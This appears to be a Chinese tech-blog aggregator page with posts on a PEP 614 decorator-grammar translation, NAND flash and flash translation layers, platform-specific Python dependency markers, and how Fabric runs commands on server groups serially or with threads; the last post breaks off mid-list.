在本文档中,“表达式”一词的用法与《Python语言参考》中定义的相同。可以概括为“任何在 if、elif 和 while 块中测试为有效的内容”。
这与可能更流行的定义稍有不同,后者可以概括为“任何作为有效字符串输入给 eval 的内容”。
前一个“表达式”的定义更方便,因为它非常贴合我们的需求,并且可以重用被现有语言结构所允许的语法。与其它定义相比,它有两个细微的差异:
1、元组必须加括号
这是基于 Guido 在同一封邮件中的洞察。紧接着前面的引述:

但是我不会允许逗号,决不可能赞成这样:

@f, g
def pooh(): ...
确实,它可能甚至导致没有经验的读者得出结论,认为正在使用多个装饰器,就像它们被堆叠了一样。这里要求加括号,可以使意图变得清晰,而无需施加进一步的限制和复杂语法。
2、赋值表达式不需括号
在这里,语法的选择是明确的。PEP 572解释了为什么需要在顶级表达式语句的周围加上括号:

加入此规则是为了简化用户在赋值语句和赋值表达式之间的选择——没有令两者都生效的语法位置。

由于赋值语句在此处无效,因此赋值表达式就不必带括号。
(译注:赋值表达式,即 Assignment Expressions 或 Named Expressions,是 Python 3.8 引入的新特性,就是它引入了新的“:=”海象操作符。)
-----------------正文分割线---------------
PEP 的全文翻译已收录在 Github 的《PEP中文翻译计划》中,目前已有 20+ 篇 PEP 翻译,欢迎感兴趣的同学查阅&参与翻译。
附录:
PEP614中文:http://dwz.date/RV9

March 20, 2020 12:00 AM

March 18, 2020

farseerfc

SSD 就是大U盤?聊聊閃存類存儲的轉換層

上篇 「柱面-磁頭-扇區尋址的一些舊事」 整理了一下我對磁盤類存儲設備(包括軟盤、硬盤,不包括光盤、磁帶)的一些理解, 算是爲以後討論文件系統作鋪墊;這篇整理一下我對閃存類存儲設備的理解。

這裏想要討論的閃存類存儲是指 SSD 、SD卡、U盤、手機內置閃存等基於 NAND 又有閃存轉換層的存儲設備(下文簡稱閃存盤),但不包括裸 NAND 設備、3D Xpoint (Intel Optane)等相近物理結構但是沒有類似的閃存轉換層的存儲設備。 閃存類存儲設備這幾年發展迅猛,SD卡和U盤早就替代軟盤成爲數據交換的主流, SSD 大有替代硬盤的趨勢。 因爲發展迅速,所以其底層技術變革很快,不同於磁盤類存儲技術有很多公開資料可以獲取, 閃存類存儲的技術細節通常是廠商們的祕密,互聯網上能找到很多外圍資料, 但是關於其如何運作的細節卻很少提到。所以我想先整理一篇筆記,記下我蒐集到的資料,加上我自己的理解。 本文大部分信息來源是 Optimizing Linux with cheap flash drivesA Summary on SSD & FTL ,加上我的理解,文中一些配圖也來自這兩篇文章。

1   NAND Flash 原理

比 NAND Flash 更早的 EEPROM 等存儲技術 曾經用過 NOR Flash cell ,用於存儲主板配置信息等少量數據已經存在 PC 中很久了。後來 NAND Flash 的微型化使得 NAND Flash 可以用於存儲大量數據,急劇降低了存儲成本,所以以 NAND Flash 爲基礎的存儲技術能得以替代硬盤等存儲設備。

這裏不想涉及太多 NAND Flash 硬件細節,有個演講 Tutorial: Why NAND Flash Breaks DownYouTube 視頻 介紹了其原理,感興趣的可以參考一下。只羅列一下視頻中提到的一些 NAND Flash 的特點:

  • NAND Flash 使用 floating gate 中束縛電子來保存二進制數據,對這些 Cell 有讀取(Read)、 寫入(Programming)、擦除(Erase)的操作。擦寫次數叫 P/E cycle。
  • 電子的量導致的電勢差可以區別 1 和 0 ,這是 Single Level Cell (SLC) 的存儲方式。 或者可以用不同的電勢差區分更多狀態保存更多二進制位,從而有 Multi-Level Cell (MLC), TLC, QLC 等技術。可以對 MLC 的 Flash Cell 使用類似 SLC 的寫入模式,物理區別只是參考電壓, 只是 SLC 模式寫入下容量減半。
  • 高密度設計下,一組 NAND Flash Cell 可以同時併發讀寫。所以有了讀寫頁 2KiB/4KiB 這樣的容量。 頁面越大,存儲密度越高,爲了降低成本廠商都希望提高讀寫頁的大小。
  • 爲了避免添加額外導線,NAND Flash Cell 是使用基板上加負電壓的方式擦除 floating gate 中的二進制位的,所以擦除操作沒法通過地址線選擇特定 Cell 或者讀寫頁,於是整塊擦除有塊大小。
  • 寫入操作對 SLC 單個 Cell 而言,就是把 1 置 0 ,而擦除操作則是把整塊置 1 。SLC 可以通過地址線單獨選擇要寫入的 Cell ,MLC 則把不同頁的二進制放入一個 Cell ,放入時有順序要求, 先寫處於高位的頁,再寫低位的。所以 MLC 中不同頁面地址的頁面是交錯在同一組 Cell 中的。
  • SLC 其實並沒有特別要求擦除塊中的寫入順序,只是要求僅寫一次(從 1 到 0)。 MLC 則有先寫高位頁再寫低位頁的要求。廠商規格中的要求更嚴格,擦除塊中必須滿足按頁面編號順序寫入。
  • 寫入和擦除操作是通過量子隧道效應把電子困在 floating gate 中的,所以是個概率事件。通過多次脈衝 可以縮小發生非預期概率事件的可能性,但是沒法完全避免,所以需要 ECC 校驗糾錯。
  • 根據 ECC 強度通常有三種 ECC 算法,強度越強需要越多算力:
    • 漢民碼 可根據 n bit 探測 \(2^n - n -1\) 中的 2 bit 錯誤,修正 1 bit 錯誤。
    • BCH碼 可根據 \(n*m\) bit 糾錯 \(2^n\) bit 中的 \(m\) bit 錯誤。
    • LDPC 原理上類似擴展的漢民碼,能做到使用更少校驗位糾錯更多錯誤。
  • 因爲 ECC 的存在,所以讀寫必須至少以 ECC 整塊爲單位,比如 256 字節或者整個頁面。
  • 也因爲 ECC 的存在, \(ECC(\texttt{0xFF}) \ne \texttt{0xFF}\) ,空頁(擦除後全1的頁面)必須特殊處理。所以需要區分寫了數據全 1 的頁和空頁。
  • ECC校驗多次失敗的頁面可以被標記爲壞頁,出廠時就可能有一些壞頁,這些由轉換層隱藏起來。
  • 斷電後,也有小概率下束縛的電子逃逸出 floating gate ,時間越長越可能發生可以探測到的位反轉。 所以基於 NAND Flash 的存儲設備應該避免作爲存檔設備離線保存。
  • 電子逃逸的概率也和溫度有關,溫度越高越容易逃逸,所以高溫使用下會有更高的校驗錯誤率。
  • 讀取時,因爲用相對較高的電壓屏蔽沒有讀取的地址線,有一定概率影響到沒被讀取的頁面中存儲的數據。 控制器可能考慮週期性地刷新這些寫入後多次讀取的頁面,這可能和後文的靜態擦寫均衡一起做。
  • 正在寫入或者擦除中突然斷電的話下,寫入中的一整頁數據可能並不穩定,比如短期內能正常讀取但是難以持續很長時間。

上篇講硬盤的筆記中提到過,硬盤物理存儲也有越來越強的校驗機制,不過相比之下 NAND Flash 出現臨時性校驗失敗的可能性要高很多,需要控制器對校驗出錯誤的情況有更強的容忍能力。 廠商們製作存儲設備的時候,有一個需要達到的錯誤率目標(比如平均 \(10^{14}\) bit 出現一次位反轉),針對這個目標和實際物理錯誤率,相應地設計糾錯強度。校驗太強會浪費存儲密度和算力, 從而提升成本,這裏會根據市場細分找折衷點。

2   封裝結構

從外部來看,一個閃存盤可能有這樣的結構:

ssd-enclosure.svg

從上往下,我們買到的一個閃存盤可能一層層分級:

  1. 整個閃存盤有個控制器,其中含有一部分 RAM 。然後是一組 NAND Flash 封装芯片(chip)。
  2. 每個封装芯片可能還分多個 Device ,每個 Device 分多個 Die ,這中間有很多術語我無法跟上,大概和本文想討論的事情關係不大。
  3. 每個 Die 分多個平面(Plane),平面之間可以並行控制,每個平面相互獨立。從而比如在一個平面內 做某個塊的擦除操作的時候,別的平面可以繼續讀寫而不受影響。
  4. 每個平面分成多個段(Segment),段是擦除操作的基本單位,一次擦除一整個段。
  5. 每個段分成多個頁面(Page),頁面是讀寫操作的基本單位,一次可以讀寫一整頁。
  6. 頁面內存有多個單元格(Cell),單元格是存儲二進制位的基本單元,對應 SLC/MLC/TLC/QLC 這些, 每個單元格可以存儲一個或多個二進制位。

以上這些名字可能不同廠商不同文檔的稱法都各有不同,比如可能有的文檔把擦除塊叫 page 或者叫 eraseblock 。隨着容量不斷增大,廠商們又新造出很多抽象層次,比如 chip device die 這些, 不過這些可能和本文關係不大。如果看別的文檔注意區別術語所指概念,本文中我想統一成以上術語。 重要的是有並行訪問單元的平面(Plane)、擦除單元的段(Segment)、讀寫單元的頁(Page)這些概念。 抽象地列舉概念可能沒有實感,順便說一下這些概念的數量級:

  1. 每个 SSD 可以有数个封装芯片。
  2. 每个芯片有多个 Die 。
  3. 每个 Die 有多个平面。
  4. 每个平面有幾千個段。比如 2048 個。
  5. 每個段有數百個頁到幾千頁,比如 128~4096 頁,可能外加一些段內元数据。
  6. 每個頁面是 2KiB~8KiB 這樣的容量,外加幾百字節的元數據比如 ECC 校驗碼。

和硬盤相比,一個閃存頁面大概對應一個到數個物理扇區大小,現代硬盤也逐漸普及 4KiB 物理扇區, 文件系統也基本普及 4KiB 或者更大的邏輯塊(block)或者簇(cluster)大小,可以對應到一個閃存頁面。 每次讀寫都可以通過地址映射直接對應到某個閃存頁面,這方面沒有硬盤那樣的尋址開銷。 閃存盤的一個頁面通常配有比硬盤扇區更強的 ECC 校驗碼,因爲 NAND 單元格喪失數據的可能性比磁介質高了很多。

閃存有寫入方式的限制,每次寫入只能寫在「空」的頁面上,不能覆蓋寫入已有數據的頁面。 要重複利用已經寫過的頁面,需要對頁面所在段整個做擦除操作,每個段是大概 128KiB 到 8MiB 這樣的數量級。每個擦除段需要統計校驗失敗率或者跟蹤擦除次數,以進行擦寫均衡(Wear Leveling)。

3   擦寫均衡(Wear Leveling)和映射層(Flash Translation Layer)

擦除段的容量大小是個折衷,更小的擦除段比如 128KiB 更適合隨機讀寫, 因爲每隨機修改一部分數據時需要垃圾回收的粒度更小;而使用更大的擦除段可以減少元數據和地址映射的開銷。 從擦除段的大小這裏,已經開始有高端閃存和低端閃存的差異,比如商用 SSD 可能比 U 盤和 SD 卡使用更小的擦除段大小。

閃存盤中維護一個邏輯段地址到物理段地址的映射層,叫閃存映射層(Flash Translation Layer )。每次寫一個段的時候都新分配一個空段, 寫完後在映射表中記錄其物理地址。映射表用來在讀取時做地址轉換,所以映射表需要保存在閃存盤控制器的 RAM 中,同時也需要記錄在閃存內。具體記錄方式要看閃存盤控制器的實現,可能是類似日誌的方式記錄的。

「段地址映射表」的大小可以由段大小和存儲設備容量推算出來。比如對一個 64GiB 的 SD 卡,如果使用 4MiB 的段大小,那麼需要至少 16K 個表項。假設映射表中只記錄 2B 的物理段地址, 那麼需要 32KiB 的 RAM 存儲段地址映射表。對一個 512GiB 的 SSD ,如果使用 128KiB 的段大小, 那麼至少需要 4M 個表項。記錄 4B 的物理段地址的話,需要 16MiB 的 RAM 存儲地址映射, 或者需要動態加載的方案只緩存一部分到 RAM 裏。控制器中的 RAM 比 NAND 要昂貴很多,這裏可以看出成本差異。

除了地址映射表,每個物理段還要根據擦除次數或者校驗錯誤率之類的統計數據,做擦寫均衡。有兩種擦寫均衡:

  • 動態擦寫均衡(Dynamic Wear Leveling):每次寫入新段時選擇擦除次數少的物理段。
  • 靜態擦寫均衡(Static Wear Leveling):空閒時,偶爾將那些許久沒有變化的邏輯段搬運到 多次擦除的物理段上。

低端閃存比如 SD 卡和 U 盤可能只有動態擦寫均衡,更高端的 SSD 可能會做靜態擦寫均衡。 靜態擦寫均衡想要解決的問題是:盤中寫入的數據可以根據寫入頻率分爲冷熱, 總有一些冷數據寫入盤上就不怎麼變化了,它們佔用着的物理段有比較低的擦除計數。 只做動態擦寫均衡的話,只有熱數據的物理段被頻繁擦寫,加速磨損, 通過靜態擦寫均衡能將冷數據所在物理段釋放出來,讓整體擦寫更平均。 但是靜態擦寫均衡搬運數據本身也會磨損有限的擦寫次數,這需要優秀的算法來折衷。

除了擦寫均衡用的統計數據外, FTL 也要做壞塊管理。閃存盤出廠時就有一定故障率,可能有一部分壞塊。 隨着消耗擦寫週期、閒置時間、環境溫度等因素影響,也會遇到一些無法再保證寫入正確率的壞塊。 NAND Flash 上因爲量子隧道效應,偶爾會有臨時的校驗不一致,遇到這種情況,除了根據 ECC 校驗恢復數據, FTL 也負責嘗試對同一個物理段多次擦除和讀寫,考察它的可用性。排除了臨時故障後, 如果校驗不一致的情況仍然持續,那麼需要標註它爲壞塊,避免今後再寫入它。

出廠時,閃存盤配有的物理段數量就高於標稱的容量,除了出廠時的壞塊之外,剩餘的可用物理段可以用於 擦寫均衡,這種行爲稱作 Over Provisioning 。除了盤內預留的這些空間,用戶也可以主動通過分區的方式或者文件系統 TRIM 的方式預留出更多可用空間, 允許 FTL 更靈活地均衡擦寫。

4   段內寫入順序與垃圾回收策略

段是閃存盤的擦寫單元,考慮到段是 128KiB ~ 8MiB 這樣的數量級,現實中要求每次連續寫入一整段的話, 這樣的塊設備接口不像硬盤的接口,不方便普通文件系統使用。所以在段的抽象之下有了更小粒度的頁面抽象, 頁面對應到文件系統用的邏輯塊大小,是 2KiB~8KiB 這樣的數量級,每次以頁面爲單位讀寫。

寫入頁面時有段內連續寫入的限制,於是需要段內映射和垃圾回收算法,提供對外的隨機寫入接口。 寫入操作時, FTL 控制器內部先「打開(open)」一個段,等寫入完成,再執行垃圾回收「關閉(close)」一個段。 寫入過程中處於打開狀態的段需要一些額外資源(RAM等)跟蹤段內的寫入狀況,所以閃存盤同時能「打開」 的段數量有限。並且根據不同的垃圾回收算法,需要的額外資源也不盡相同,在 Optimizing Linux with cheap flash drives 一文中介紹幾種可能的垃圾回收算法:

4.1   線性寫入優化

假設寫入請求大部分都是連續寫入,很少有地址跳轉,那麼可以使用線性優化算法。

  • Open:當第一次打開一個段,寫入其中一頁時,分配一個新段。如果要寫入的頁不在段的開頭位置,那麼搬運寫入頁面地址之前的所有頁面到新段中。
  • Write: 在 RAM 中跟蹤記錄當前寫入位置,然後按順序寫下新的頁面。
  • Close: 最後搬運同段中隨後地址上的頁面,並關閉整段,調整段映射表。

如果在段內寫入了幾頁之後,又跳轉到之前的位置,那需要在跳轉時關閉當前段寫入(並完整搬運剩下的頁面), 然後重新打開這一段,搬運調轉地址之前的頁面,從跳轉的頁面位置開始寫入。

線性優化算法的好處在於:沒有複雜的頁面地址映射,段內的邏輯頁面地址就是物理頁面地址。 讀一頁的時候根據頁面偏移和當前寫入位置就能判斷讀新物理段還是老物理段。遇到突然斷電之類的情況, 即使丟失最近寫入的新物理段,老物理段的數據仍然還在,所以沒必要保存 RAM 中的地址映射到閃存元數據中。

線性優化算法的壞處是:每遇到一次亂序的寫入,都要整段執行一次搬運,造成 寫入放大(Write Amplification)

一些文檔中,將這種地址映射垃圾回收方式叫做「段映射(Segment Mapping)」,因爲從 FTL 全局來看只維護了擦寫段的地址映射關係。

4.2   段內地址映射

對需要隨機亂序寫入的數據,可以使用段內地址映射。方式是額外在段外的別的閃存區域維護一張段內地址映射表, 像段地址一樣,通過查表間接訪問頁面地址。

  • Open: 分配一塊新的段,同時分配一個新的段內映射表。
  • Write: 每寫入一頁,在段內映射表記錄頁面的在新段中的物理地址。
  • Close: 複製老段中沒有被覆蓋寫入的頁到新段,並記錄在段內映射表中,然後釋放老段和老的段內映射表。

也就是說同時維護兩塊不同大小的閃存空間,一塊是記錄段數據的,一塊是記錄段內地址映射表的, 兩塊閃存空間有不同的寫入粒度。可以在每個物理段內額外留出一些空間記錄段內地址映射表,也可以在 FTL 全局維護一定數量的段內地址映射表。 每次讀取段內的數據時,根據映射表的內容,做地址翻譯。新段中頁面的排列順序將是寫入的順序, 而不是地址順序。

根據實現細節,段內地址映射可以允許覆蓋寫入老段中的頁面,但是可能不允許覆蓋寫入新段(正在寫入的段) 中已經寫入的頁面,遇到一次連續的寫請求中有重複寫入某一頁面的時候,就需要關閉這一段的寫入,然後重新打開。

段內地址映射的優點是:支持隨機寫入,並且只要段處於打開狀態,隨機寫入不會造成寫入放大(Write Amplification)。

缺點是:首先地址映射這層抽象有性能損失。其次遇到突然斷電之類的情況, 下次上電後需要掃描所有正打開的段並完成段的關閉操作。

和「段映射」術語一樣,在一些文檔中,將這種段內地址映射的方式叫做「頁面映射(Page Mapping)」,因爲從 FTL 全局來看跳過了擦寫段這一層,直接映射了頁面的地址映射。

4.3   日誌式寫入

除了大量隨機寫入和大量連續寫入這兩種極端情況,大部分文件系統的寫入方式可能會是對某個地址空間 進行一段時間的隨機寫入,然後就長時間不再修改,這時適合日誌式的寫入方式。

日誌式的寫入方式中寫入一段採用三個物理段:老物理段,用於日誌記錄的新物理段,和垃圾回收後的段。

  • Open: 分配一塊新的段。可能額外分配一個用於記錄日誌的段,或者將日誌信息記錄在數據段內。
  • Write:每寫入一頁,同時記錄頁面地址到日誌。
  • Close:再分配一個新段執行垃圾回收。按日誌中記錄的地址順序將數據段中(新寫入)的頁面或者老段中 沒有被覆蓋的頁面複製到垃圾回收結束的新段中。

日誌式寫入在寫入過程中像段內地址映射的方式一樣,通過日誌記錄維護頁面地址映射關係, 在寫入結束執行垃圾回收之後,則像線性寫入的方式一樣不再需要維護頁面映射。 可以說日誌式寫入某種程度上綜合了前面兩種寫入方式的優點。

日誌式寫入的優點:允許隨機順序寫入,並且在執行垃圾回收之後,不再有間接訪問的地址轉換開銷。

日誌式寫入的缺點:觸發垃圾回收的話,可能比段地址映射有更大的寫入放大(Write Amplification)。

在一些文檔中,將這種日誌式寫入方式稱作「混合映射(Hybrid Mapping)」,因爲在段開啓寫入期間行爲像頁面映射, 在段關閉寫入後行爲像段映射。

5   針對特定寫入模式的優化

上述三種地址映射和垃圾回收方式,各有不同的優缺點,根據數據塊的寫入模式可能需要挑選相應的策略。 並且「全局段地址映射表」、「段內頁面地址映射表」、「寫入頁面地址日誌」之類的元數據因爲頻繁修改, FTL 也可能需要用不同的策略來記錄這些元數據。這裏面向不同使用場景的閃存設備可能有不同的 FTL 策略,並且 FTL 可能根據邏輯地址來選擇哪種策略。

5.1   混合垃圾回收策略

用來記錄照片、視頻等的 SD 卡、microSD、U盤等設備可能根據數據的邏輯地址,爲特定文件系統佈局優化, 這裏特定文件系統主要是指 FAT32 和 exFAT 這兩個 FAT 系文件系統。 FAT 系文件系統的特點在於, 地址前端有一塊空間被用來放置 文件分配表(File Allocation Table) ,可以根據文件系統簇大小和設備存儲容量推算出 FAT 表佔用大小,這塊表內空間需要頻繁隨機讀寫。 對 FTL 自身的元數據,和 FAT 表的邏輯地址空間,需要使用「段內地址映射」來保證高效的隨機讀寫, 而對隨後的數據空間可使用「線性寫入優化」的策略。

右側上圖有張性能曲線,測量了一個 class 10 SDHC 卡上,不同讀寫塊大小時,順序讀取、順序寫入、隨機寫入、 對 FAT 區域的寫入之類的性能差異。下圖是測量的讀取延遲。可以看出 FAT 區域的隨機寫入和其餘邏輯地址上有明顯不同的性能表現。

爲容納普通操作系統設計的 eMMC 和 SSD 難以預測文件系統的讀寫模式,可能需要使用更複雜的地址映射和垃圾回收策略。 比如一開始假定寫入會是順序寫入,採用「線性優化」方式;當發生亂序寫入時,轉變成類似「日誌式寫入」 的方式記錄寫入地址並做地址映射;關閉段時,再根據積累的統計數據判斷,可能將記錄的日誌與亂序的數據 合併(merge)成順序的數據塊,也可能保持頁面映射轉變成類似「段內地址映射」的策略。

5.2   利用 NAND Flash 物理特性的優化

再考慮 NAND Flash 的物理特性,因爲 MLC 要不斷調整參考電壓做寫入, MLC 的寫入比 SLC 慢一些,但是可以對 MLC Flash 使用 SLC 式的寫入, FTL 控制器也可能利用這一點,讓所有新的寫入處於 SLC 模式,直到關閉整段做垃圾回收時把積攢的 SLC 日誌段回收成 MLC 段用於長期保存。 一些網頁將這種寫入現象稱作「SLC 緩存」甚至稱之爲作弊,需要理解這裏並不是用單獨的 SLC Flash 芯片做 writeback 緩存,更不是用大 RAM 做緩存,處於 SLC 模式的寫入段也是持久存儲的。

5.3   同時打開段數

上述地址映射和垃圾回收策略都有分別的打開(open)、寫入(write)、關閉(close)時的操作, 閃存盤通常允許同時打開多個段,所以這三種操作不是順序進行的,某一時刻可能同時有多個段處在打開的狀態, 能接受寫入。不過一個平面(Plane)通常只能進行一種操作(讀、寫、擦除),所以打開寫入段時, FTL 會儘量讓寫入分部在不同的平面上。還可能有更高層次的抽象比如 Device、 Chip 、 Die 等等,可能對應閃存盤內部的 RAID 層級。

閃存盤能同時打開的段不光受平面之類的存儲結構限制,還受控制器可用內存(RAM)限制之類的。 爲 FAT 和順序寫入優化的 FTL ,可能除了 FAT 區域之外,只允許少量(2~8)個併發寫入段, 超過了段數之後就會對已經打開的段觸發關閉操作(close),執行垃圾回收調整地址映射,進而接受新的寫入。 更高端的 SSD 的 FTL 如果採用日誌式記錄地址的話,同時打開的段數可能不再侷限於可用內存限制, 連續的隨機寫入下按需動態加載段內地址映射到內存中,在空閒時或者剩餘空間壓力下才觸發垃圾回收。

5.4   預格式化

FTL 可能爲某種文件系統的寫入模式做優化,同時如果文件系統能得知 FTL 的一些具體參數(比如擦除段大小、 讀寫頁大小、隨機寫入優化區域),那麼可能更好地安排數據結構,和 FTL 相互配合。 F2FS 和 exFAT 這些文件系統都在最開頭的文件系統描述中包含了一些區域,記錄這些閃存介質的物理參數。 閃存盤出廠時,可能預先根據優化的文件系統做好格式化,並寫入這些特定參數。

5.5   TRIM 和 discard

另一種文件系統和 FTL 相互配合的機制是 TRIM 指令。TRIM 由文件系統發出,告訴底層閃存盤( 或者別的類型的 thin provisioning 塊設備)哪些空間已經不再使用, FTL 接受 TRIM 指令之後可以避免一些數據搬運時的寫入放大。關於 TRIM 指令在 Linux 內核中的實現,有篇 The best way to throw blocks away 介紹可以參考。

考慮到 FTL 的上述地址映射原理, TRIM 一塊連續空間對 FTL 而言並不總是有幫助的。 如果被 TRIM 的地址位於正在以「段內地址映射」或「日誌式映射」方式打開的寫入段中,那麼 TRIM 掉一些頁面可能減少垃圾回收時搬運的頁面數量。但是如果 TRIM 的地址發生在已經垃圾回收結束的段中, 此時如果 FTL 選擇立刻對被 TRIM 的段執行垃圾回收,可能造成更多寫入放大, 如果選擇不回收只記錄地址信息,記錄這些地址信息也需要耗費一定的 Flash 寫入。 所以 FTL 的具體實現中,可能只接受 TRIM 請求中,整段擦除段的 TRIM ,而忽略細小的寫入頁的 TRIM 。

可見 FTL 對 TRIM 的實現是個黑盒操作,並且 TRIM 操作的耗時也非常難以預測,可能立刻返回, 也可能需要等待垃圾回收執行結束。

對操作系統和文件系統實現而言,有兩種方式利用 TRIM :

  1. 通過 discard 掛載選項,每當釋放一些數據塊時就執行 TRIM 告知底層塊設備。
  2. 通過 fstrim 等外部工具,收集連續的空塊並定期發送 TRIM 給底層設備。

直覺來看可能 discard 能讓底層設備更早得知 TRIM 區域的信息並更好利用,但是從實現角度來說, discard 不光影響文件系統寫入性能,還可能發送大量被設備忽略掉的小塊 TRIM 區域。可能 fstrim 方式對連續大塊的區間執行 TRIM 指令更有效。

6   TL;DR 低端 vs 高端

標題中的疑問「SSD就是大U盤?」相信看到這裏已經有一些解答了。 即使 SSD 和U盤中可以採用類似的 NAND Flash 存儲芯片,由於他們很可能採用不同的 FTL 策略,導致在讀寫性能和可靠性方面都有不同的表現。(何況他們可能採用不同品質的 Flash )。

如果不想細看全文,這裏整理一張表,列出「高端」閃存盤和「低端」閃存盤可能採取的不同策略。 實際上大家買到的盤可能處於這些極端策略中的一些中間點,市場細分下並不是這麼高低端分明。 比如有些標明着「爲視頻優化」之類宣傳標語的「外置SSD」,對消費者來說可能會覺得爲視頻優化的話一定性能好, 但是理解了 FTL 的差異後就可以看出這種「優化」只針對線性寫入,不一定適合放系統文件根目錄的文件系統。

參數 低端 高端
段大小 8MiB 128KiB
段地址映射 靜態段映射 日誌式映射
隨機寫入範圍 FTL元數據與FAT表區域 全盤
同時打開段數 4~8 全盤
物理段統計信息 無(隨機挑選空閒段) 擦除次數、校驗錯誤率等
擦寫均衡 動態均衡(僅寫入時分配新段考慮) 靜態均衡(空閒時考慮搬運)
寫入單元模式 TLC 長期存儲 MLC, 模擬 SLC 日誌

介紹完閃存類存儲,下篇來講講文件系統的具體磁盤佈局,考察一下常見文件系統如何使用 HDD/SSD 這些不同讀寫特性的設備。

by farseerfc at March 18, 2020 06:45 AM

March 17, 2020

pythoncat

Python 小技巧:如何实现操作系统兼容性打包?

有一个这样的问题:现要用 setuptools 把一个项目打包成 whl 文件,然后 pip install 在 Windows/Linux 两种操作系统上,但是该项目中有一些依赖库只有 Windows 上才有(例如 pywinauto、pywingui、pywinrm),那么问题是,如何实现打包文件的可兼容性安装?
从打包的角度,这个问题的关键还是看 setup.py 和 requirements.txt 文件。
关于 Python 的包构建分发和 setup.py 的使用,这里有篇文章 写得很好,推荐阅读。另外关于 Python 依赖库的管理(requirements.txt),这篇文章 详细比较了 pip、pipreqs、pigar、pip-tools 和 pipdeptree 等工具,也推荐一读。
有一个比较笨的实现方法:维护两份 requirements.txt 文件,分别用来打包,然后分发给不同操作系统去使用。
但是这样会有麻烦:维护两份依赖文件和两种包文件,本身就挺费劲的,而在生成过程中,每次还得对它们改名以作区分(注意包名有一定的规范约束,乱改的话,pip 可能识别不出),维护成本就很高。
其实,维护软件包在不同操作系统的版本,并不少见。如果你曾留意过不同版本 Python 库文件的话,你会注意到很多库都会按不同操作系统而分发不同的版本。例如,下面是同一版本号的 Numpy 在不同操作系统上的分发版(https://pypi.org/simple/numpy/):
可以看出它根据 macos、linux 和 win 三类操作系统及其位数,分成了 5 个版本。维护这么多版本,肯定是一件麻烦事,但是出现了这样的结果,就意味着 Numpy 官方认为分发不同系统版本是利大于弊的,而且是有办法实现的。
回到我们的问题,是否有必要像 Numpy 那样设法打包成多个操作系统定制的包呢?
答案是否定的。主要的原因:
  • Numpy 这么做是因为它是做科学计算的,为了提升效率,它把编译好的 C 拓展文件打包,从而不需要依赖环境上的 libxxx-devel 之类的库。如果你编译安装过 Python,应该有印象需要安装 zlib-devel、openssl-devel 和 libffi-devel 之类的系统依赖。但我们前面的问题比较简单,并不是有不同的编译依赖(系统级),而只是三方库依赖不同(项目级)。
  • 另一个主要的原因,Numpy 打包出的不同系统版本,并非简简单单地用 setuptools 之类的 Python 库就能打包,而是要借助标准的镜像进行构建。例如,manylinux 版本的打包,参见 Github(https://github.com/pypa/manylinux),就需要使用官方提供的 Docker 镜像。对于我们的问题,显然不想做到这么麻烦。
简而言之,根据前面的分析,如果要实现操作系统兼容的打包,维护多份依赖文件、使用不同构建包的方法、维护多系统专用的包,方法可行,但并不是很适用。
如果没有新的办法,这不失为一种考虑,但是有没有别的办法了呢?
我曾被这个问题困扰过,但是没有深入去研究解决,直到无意中在loguru 这个用来记录日志的库的 setup.py 中看到:
再翻看大名鼎鼎的requests 库文件,发现还可以这样写:
两个示例都是写在 setup.py 文件中,其实如果我们用 requirements.txt 文件,也可以按这种格式写,然后再读取进来。
这种神奇的写法是怎么回事呢?
它的依据是 2015 年 11 月创建的 PEP-508(以及相关的但已被撤销或拒绝了的 PEP-390、PEP-426、PEP-459、PEP-496),该 PEP 的主要意图是增强 pip 等工具查找软件包的能力。
比较重要的部分就是跟我们的问题相关的,即对操作系统作区分的标识,相关的有:
有了这样的扩展支持,在打包依赖项时,就可以解决兼容性问题了。
例如 colorama 库,如果我们只在 win32 系统才需要依赖,那么在打包时就可以指定:“colorama>=0.3.4 ; sys_platform==‘win32’ ”;如果不需要限定 win32 系统,而是在 windows 环境都安装,那么可以写成“colorama>=0.3.4 ; platform_system==‘Windows’ ”。
最终,我们解决了本文开头的问题。这个问题可能比较小众,解决起来也没有什么大文章可做,算是一个小小的 tips 分享给大家吧。

March 17, 2020 12:00 AM

March 14, 2020

pythoncat

Fabric 源码学习:如何实现批量管理远程服务器?

前不久,我写了一篇《Fabric教程》,简单来说,它是一个用 Python 开发的轻量级的远程系统管理工具,在远程登录服务器、执行 Shell 命令、批量管理服务器、远程部署等场景中,十分好用。
Fabric 2 是其最新的大版本,跟早前的 Fabric 1 有挺大的不同,更加好用了,但是没填上的坑也挺多的……
本文继续来聊聊 Fabric,不过我不想再面面俱到了,而是专注于这一个话题:它是如何实现对批量服务器的串行/并发管理的?
(友情提示:为了有更好的阅读体验,如果你还不了解 Fabric 的基础用法,建议先阅读前面的教程。)
Fabric 通过 Group 来组合多台服务器。区别在于由 fabric.group.Group 基类(父类)派生出的两个子类:
  • SerialGroup(*hosts, **kwargs):按串行方式执行操作
  • ThreadingGroup(*hosts, **kwargs):按并发方式执行操作
下面先看看这个基类:
我把一些没用的信息折叠了,比较值得注意的内容有:
  • Group 继承了 list,所以能够 extend() ,对传入的服务器分别建立 connection
  • 核心的 run() 方法没有写实现,用意是留给子类再实现
  • 最后的 __enter__() 和 __exit__() 实现了上下文管理器
有了这个基类,接下来就要看 SerialGroup 和 ThreadingGroup 的具体实现了。
SerialGroup 类很简单,只实现了一个 run() 方法。因为类在初始化时为所有 host 建立了连接而且存了起来,所以这里只需用 for 循环依次取出,再执行 Connection 的 run() 方法。
这里可以看到一种非常实用的开发技巧: 创建类时,让它继承内置的数据结构(如 list、dict), 这样可以直接使用 self.append()、self.extend()、self.update() 等方法把关键的信息存到“自身”,再到取出时则“for xxx in self”,这样就免了创建临时的 list 或 dict,也免得要在参数中传来传去。
GroupResult 和 GroupException 是对执行结果和异常的处理,不是我们关注的重点,这里略过。
接下来看看 ThreadingGroup,它也只有一个 run() 方法:
ExceptionHandlingThread 是一个继承了 threading.Thread 的类,这是一种创建多线程的方式。每个线程执行的方法主要做两件事:执行 connection 的 run() 方法,以及将执行成功的结果存入队列中。
接下来再分别把执行成功的结果与出异常的结果都存入到 results 中。
所以,Fabric 是使用了 threading 多线程的方式来实现并发。网络请求是 IO 密集型的,使用多线程是不错的方式。
至此,对于我们在开头提的问题,就有了一个初步的答案:Fabric 封装了两种 Group 来批量管理服务器,其中串行方式就是用了简单的 for 循环,而并发方式使用了 threading 多线程方式。
但是,通过分析这两种 Group 的实现代码(以及使用的实践),我们也可以发现 Fabric 的缺陷:
  • Group 只实现了 run() 方法,但是 Connection 的 put()、get()、sudo() 等方法都没有,这意味着用这种方式管理服务器集群时,只能在上面执行 shell 命令……
